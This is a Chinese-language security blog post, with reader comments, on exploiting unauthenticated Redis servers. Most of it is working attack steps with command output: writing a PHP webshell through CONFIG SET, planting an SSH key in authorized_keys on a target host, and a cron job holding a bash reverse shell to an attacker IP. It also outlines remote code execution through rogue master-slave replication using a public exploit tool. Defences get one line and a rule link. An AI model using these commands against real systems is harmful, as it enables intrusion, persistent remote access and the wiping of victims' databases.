redis未授权漏洞利用
文章最后更新时间为:2019年12月18日 14:56:21
1. 背景
- redis是什么?
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库 - redis有哪些使用场景
- Redis经常被应用于以下场景
- 缓存 (Session Cache)
- 队列 (PUB/SUB)
- 计数器
- ……
- redis默认端口:6379/tcp
最近几年市场使用redis数据库是越来越多,reids本身没有爆出什么漏洞,但是redis未授权访问是非常普遍的,尤其在内网中,配合ssrf getshell也是很常见的漏洞组合方式。
下面我用saucerframe通过Zoomeye扫了100个ip,其中存在未授权的就有好几个~
2. 利用
当你凑巧发现了redis未授权访问的主机,你会咋办,难道是看看数据,报个信息泄露吗?作为一名志向高远的黑客,当然不能从此放弃,于是我们向getshell的道路上努力前进
2.1 利用写文件getshell
redis虽然是一个内存数据库,但是其也提供了持久化的功能。毕竟持久是必须的,在这个方面redis提供了备份功能,可以将内存中的数据库暂时备份到文件中,也可以从文件中加载数据到内存。其备份的文件名也是随意可控的。
那么我们就可以利用备份功能实现写任意文件,通常写以下文件来进一步利用:
- webshell
- 写ssh公钥文件实现免密登录
- 写定时文件执行命令反弹shell
具体写文件的命令是:
# 设置备份文件路径
config set dir /var/www/html/
# 设置备份文件名
config set dbfilename phpinfo.php
# 向数据库插入payload
set payload "<?php phpinfo(); ?>"
# 保存数据库到备份文件
save
下面大概讲一下写文件的方式
2.1.1 写webshell
1.设置web路径
config set dir /var/www/html/
2.设置shell文件名
config set dbfilename phpinfo.php
3.向数据库插入payload
set payload "<?php phpinfo(); ?>"
4.保存webshell
save
2.1.2 写ssh公钥
1. 生成ssh私钥对
root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:6sAufeQNxTthzC7f7VPx/8Bqj8vBz9EgftgaOKNY7C0 root@kali
The key's randomart image is:
+---[RSA 2048]----+
| |
| |
| + |
| B . |
| +So . .o |
| . +o+ + =.o.|
| .oo.=oo+.*.* o|
| ...oo+Eo.++X o.|
| ...o o..oB++ o|
+----[SHA256]-----+
root@kali:~/.ssh# ls
id_rsa id_rsa.pub known_hosts
2.将公钥文件内容上下留两行(这样保存在受害者公钥文件可以避免脏数据的影响)
root@kali:~/.ssh# vim id_rsa.pub
root@kali:~/.ssh# cd ~/redis-5.0.5/src/
root@kali:~/redis-5.0.5/src# cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5X6pxsqJblwjGw3mSfpvnya78Tro68lh5K0k9ZPW4Oe1uRnQenmHY/Ou5f+nJXBRrmJijQa0BjzzJnKThkPuIMpIjy77D07xCAgwLqk0OfEFFpJjPf0Kxq/C88hYvlWr2LHqVSUh9+y9hhGUwzMN9nkh6IOJAosZtZc3zJ4kc4pnddc3CPOmxpxf5ztLYotUdChAPZhKGFI3TCdIMaZ4QNeWhQWOkHld1/0lOcVyeUX6GBVAenvT4fQnGJEt3SNY6xZebTthdSE6MZTQiWYMaBlp0Shb/YkWbtx6Gy8VpUvL8fknZKS6YsrB+hM8gp2A4mtNaBY4fguMhlrh+xk65 root@kali
3.读取公钥文件保存到数据库中
root@kali:~/redis-5.0.5/src# cat /root/.ssh/id_rsa.pub | ./redis-cli -h 10.10.12.78 -x set ssh
OK
4.设置公钥地址文件名并且保存
root@kali:~/redis-5.0.5/src# ./redis-cli -h 10.10.12.78
10.10.12.78:6379> keys ssh
1) "ssh"
10.10.12.78:6379> config set dir /home/ubuntu/.ssh
OK
10.10.12.78:6379> config set dbfilename "authorized_keys"
OK
10.10.12.78:6379> save
OK
10.10.12.78:6379> exit
5.接下来即可通过私钥登录
root@kali:~/redis-5.0.5/src# ssh [email protected] -i /root/.ssh/id_rsa
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* MicroK8s 1.15 is out! Thanks to all 40 contributors, you get the latest
greatest upstream Kubernetes in a single package.
https://github.com/ubuntu/microk8s
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
348 packages can be updated.
0 updates are security updates.
Last login: Wed Jul 17 20:53:08 2019 from 192.168.1.136
ubuntu@ubuntu:~$
6. 这里我们看下写入的公钥文件长什么样子
ubuntu@ubuntu:~$ cat .ssh/authorized_keys
REDIS0009� redis-ver5.0.5�
redis-bits�@�ctime��;]used-mem�(p �
aof-preamble���sshA�
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5X6pxsqJblwjGw3mSfpvnya78Tro68lh5K0k9ZPW4Oe1uRnQenmHY/Ou5f+nJXBRrmJijQa0BjzzJnKThkPuIMpIjy77D07xCAgwLqk0OfEFFpJjPf0Kxq/C88hYvlWr2LHqVSUh9+y9hhGUwzMN9nkh6IOJAosZtZc3zJ4kc4pnddc3CPOmxpxf5ztLYotUdChAPZhKGFI3TCdIMaZ4QNeWhQWOkHld1/0lOcVyeUX6GBVAenvT4fQnGJEt3SNY6xZebTthdSE6MZTQiWYMaBlp0Shb/YkWbtx6Gy8VpUvL8fknZKS6YsrB+hM8gp2A4mtNaBY4fguMhlrh+xk65 root@kali
����^z1��
2.1.3 写定时任务反弹shell
这个方法只能Centos上使用,Ubuntu上行不通,故未测试。原因如下:
1.权限问题,ubuntu定时任务需要root权限
2.redis备份文件存在乱码,在Ubuntu上会报错,而在Centos上不会报错
利用流程如下:
1.设置文件名和路径(这个因系统不同而路径不同)
config set dir /var/spool/cron/crontabs
config set dbfilename root
2.插入定时任务
set payload "* * * * * bash -i >& /dev/tcp/10.10.12.47/8888 0>&1"
3.保存
save
通过以上三种方法我们实现了写文件getshell,但是其中的弊端也很容易发现
- 需要知道要写的文件地址和路径
- 需要对写入文件有读写权限
- 会写入很多无用数据,可能会导致程序出错
- 需要利用到其他程序,比如web应用程序,如果利用docker部署,上述方法即失效。
2.2 基于主从复制实现rce
这种方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享的,算是新鲜出炉的方式了。
在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。
- redis主从复制
如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
可用过下图来理解,其中slaveof 172.17.0.3就是将其设置为自己的主节点,主机数据会同步到每个从节点。
- redis模块
和mysql类似,redis也支持扩展命令,我们需要编写so文件,来扩展命令,具体怎么写的就不用管了,反正知道可以通过加载so文件来扩展命令就对了。
比如写一个可以执行系统命令的扩展:
于是问题变得很简单,我们只要想办法将so文件传输过去然后加载即可实现任意命令执行。
具体的步骤如下:
- 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
- 第二步,我们设置备份文件名为so文件
- 第三步,设置传输方式为全量传输
- 第四步加载so文件,实现任意命令执行
这里需要解释一下,redis主从数据库之间的同步分为两种,全量复制和部分复制,全量复制是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。而部分复制只是将写命令发送给从节点。
这里我们选择全量复制,就可以将备份文件(so)文件传输过去。所以这种方法会清空对方数据库,挖洞时慎重用
但是还有个小问题,为什么我们要伪装成redis数据库,难道不是用真的数据库来传文件吗?少年,远不用那么麻烦,我们只需要根据协议收包发包就可以假装自己是数据库了啊。
和tcp三次握手类似,主从数据库之间建立关系也是通过几次握手来实现的,当然了比三次握手稍微复杂一点。
接收到PING发个PONG,接收到REPLCONF我们就发OK...总之以假乱真。
原理很简单,方法一出,exp当然也很快就来了。
https://github.com/Ridter/redis-rce
我们可以使用-v参数看下具体发了哪些数据包来帮助理解。
成功后,我们可以查看目标目录下面出现了exp.so
3. 防御
一切的根源都是redis未授权导致的,所以。。。
当然了企业内网中可以用nids检测,比如suricata中,规则可以看下:https://github.com/ptresearch/AttackDetection/blob/master/redis_replication_rce/redis_replication_rce.rules
请教一下倒数第二张图中
python redis-rce.py -r 10.10.12.78 -L 10.10.12.111 -f exp.so -v
的两个ip是从哪个漏洞环境搭建的啊@xiaopo 自己搭建的啊,直接用docker一键搭建
Redis主从复制那块,按照那个方法,是会清空redis的数据的,我看这里并没有把这个写出来。。。
@castor 是的,这里比较危险